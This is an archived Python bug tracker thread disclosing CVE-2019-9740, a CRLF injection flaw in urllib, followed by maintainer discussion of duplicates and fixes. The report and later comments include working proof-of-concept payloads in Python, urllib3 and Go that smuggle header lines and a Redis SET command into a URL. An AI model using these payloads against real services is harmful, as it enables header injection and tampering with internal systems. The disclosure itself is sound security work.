[CVE-2019-9740] Python urllib CRLF injection vulnerability

[ragdollguo]

BPO	36276
Nosy	@brettcannon, @orsenthil, @vstinner, @vadmium, @stratakis, @tirkarthi
PRs	bpo-30458: Disallow control chars in http URLs. #12755
Superseder	bpo-30458: [security][CVE-2019-9740][CVE-2019-9947] HTTP Header Injection (follow-up of CVE-2016-5699)
Files	python-urllib-CRLF-injection-vulnerability.pdf: Vulnerability details

^{Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.}

Show more details

GitHub fields:

assignee = 'https://github.com/orsenthil'
closed_at = <Date 2019-03-16.20:54:02.225>
created_at = <Date 2019-03-13.01:26:51.924>
labels = ['type-security', '3.8', '3.7', 'library']
title = '[CVE-2019-9740] Python urllib CRLF injection vulnerability'
updated_at = <Date 2019-04-10.00:39:59.667>
user = 'https://bugs.python.org/ragdollguo'

bugs.python.org fields:

activity = <Date 2019-04-10.00:39:59.667>
actor = 'gregory.p.smith'
assignee = 'orsenthil'
closed = True
closed_date = <Date 2019-03-16.20:54:02.225>
closer = 'orsenthil'
components = ['Library (Lib)']
creation = <Date 2019-03-13.01:26:51.924>
creator = 'ragdoll.guo'
dependencies = []
files = ['48206']
hgrepos = []
issue_num = 36276
keywords = []
message_count = 11.0
messages = ['337827', '337829', '337837', '337878', '337910', '337953', '337961', '337968', '338099', '338441', '339753']
nosy_count = 8.0
nosy_names = ['brett.cannon', 'orsenthil', 'vstinner', 'martin.panter', 'cstratak', 'xtreak', 'ragdoll.guo', 'alvinchang']
pr_nums = ['12755']
priority = 'normal'
resolution = 'duplicate'
stage = 'resolved'
status = 'closed'
superseder = '30458'
type = 'security'
url = 'https://bugs.python.org/issue36276'
versions = ['Python 2.7', 'Python 3.7', 'Python 3.8']

[ragdollguo]

Abstract:
A CRLF injection vulnerability of Python built-in urllib module (“urllib2” in 2.x，”urllib” in 3.x) was found by our team. Attacker who has the control of the requesting address parameter, could exploit this vulnerability to manipulate a HTTP header and attack an internal service, like a normal Webserver, Memcached, Redis and so on.

Principles:
The current implementation of urllib does not encode the ‘\r\n’ sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ‘\r\n’ sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header.

Proof of Concept:
Consider the following Python3 script:

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
#end

In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server.

# nc -l -p 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Accept-Encoding: identity
Host: 10.251.0.83:7777
User-Agent: Python-urllib/3.7
Connection: close

#end
As you can see in the picture above , the nc server displayed the HTTP request with a manipulated header content:” X-injected:header”, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ‘\r\n’ after the new header, so we add another parameter to contain the original parameter data, like ‘TEST’ in above sample.

Attack Scenarios

1. By crafting HTTP headers, it’s possible to fool some web services;
2. It’s also possible to attack several simple services like Redis, memcached.
   Let’s take Redis as a example here:
   Adapt the script above to this:
   #!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:6379?\r\nSET test success\r\n"
url = "http://" + host + ":8080/test/?test=a"

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
#end
We changed the injected header to a valid redis command, after executing this, we check the redis server:
127.0.0.1:6379> GET test
"success"
127.0.0.1:6379>
We can see that a “test” key was inserted successfully.

Conclusion:
The implementation of parameter handling of urllib is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.

[tirkarthi]

See also https://bugs.python.org/issue30458#msg295067

[alvinchang]

I am also seeing the same issue with urllib3

import urllib3

pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
info = pool_manager.request('GET', url).info()
print(info)
except Exception:
pass

nc -l localhost 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
Accept-Encoding: identity

[brettcannon]

And security issues should be reported according to https://www.python.org/news/security/ .

[orsenthil]

Thanks for this report. Should we make this a duplicate of this bpo-30458 - as they are both referring to the same problem with the underlying library?

[brettcannon]

Yep, if it's the same problem then close this as a dupe and just poke the other issue.

[ragdollguo]

OK

[tirkarthi]

For reference an exact report on golang repo : golang/go#30794 . This seemed to have been fixed in latest golang release 1.12 and commit golang/go@829c5df . The commit introduces a check for CTL characters and throws an error for URLs something similar to Python does for headers now at bf3e1c9b80e9.

func isCTL(r rune) bool {
return r < ' ' || 0x7f <= r && r <= 0x9f
}

if strings.IndexFunc(ruri, isCTL) != -1 {
	return errors.New("net/http: can't write control character in Request.URL")
}

So below program used to work before go 1.12 setting a key on Redis but now it throws error :

package main

import "fmt"
import "net/http"

func main() {
resp, err := http.Get("http://127.0.0.1:6379?\\r\\nSET test failure12\r\n:8080/test/?test=a")
fmt.Println(resp)
fmt.Println(err)
}

➜ go version
go version go1.12 darwin/amd64
➜ go run urllib_vulnerability.go
<nil>
parse http://127.0.0.1:6379?
SET test failure12
:8080/test/?test=a: net/url: invalid control character in URL

Looking more into the commit there seemed to be a solution towards escaping characters with golang/go#22907 . The fix seemed to have broke Google's internal tests [0] and hence reverted to have the above commit where only CTL characters were checked and raises an error. I think this is a tricky bug upon reading code reviews in the golang repo that has around 2-3 reports with a fix committed to be reverted later for a more conservative fix and the issue was reopened to target go 1.13 .

Thanks a lot for the report @ragdoll.guo

[0] https://go-review.googlesource.com/c/go/+/159157/2#message-39c6be13a192bf760f6318ac641b432a6ab8fdc8

[orsenthil]

Marking this as duplicate of bpo-30458.

Thanks for the discussion.

[orsenthil]

I am going to make a note that the Superseder

1. https://bugs.python.org/issue30458 - is listed only as pending request for 2.7 with the intention to raise an Exception.

However, this bug demonstrates a vulnerability in all versions of Python (including 3.8 as of March 2019).

There are additional related bug reports that deal with the same topic of parsing CRLF in headers / or in requests.

2. https://bugs.python.org/issue14826
3. https://bugs.python.org/issue13359

A consolidation of all of these is required, and at the end, our goal should be the close the loophole reported by this bug.

I am assigning this bug to myself to work on it, and my first task is make sure that the previous reports 1, 2 and 3 cover the scenario mentioned in this report. If they do not, I will reopen this ticket.

Thanks!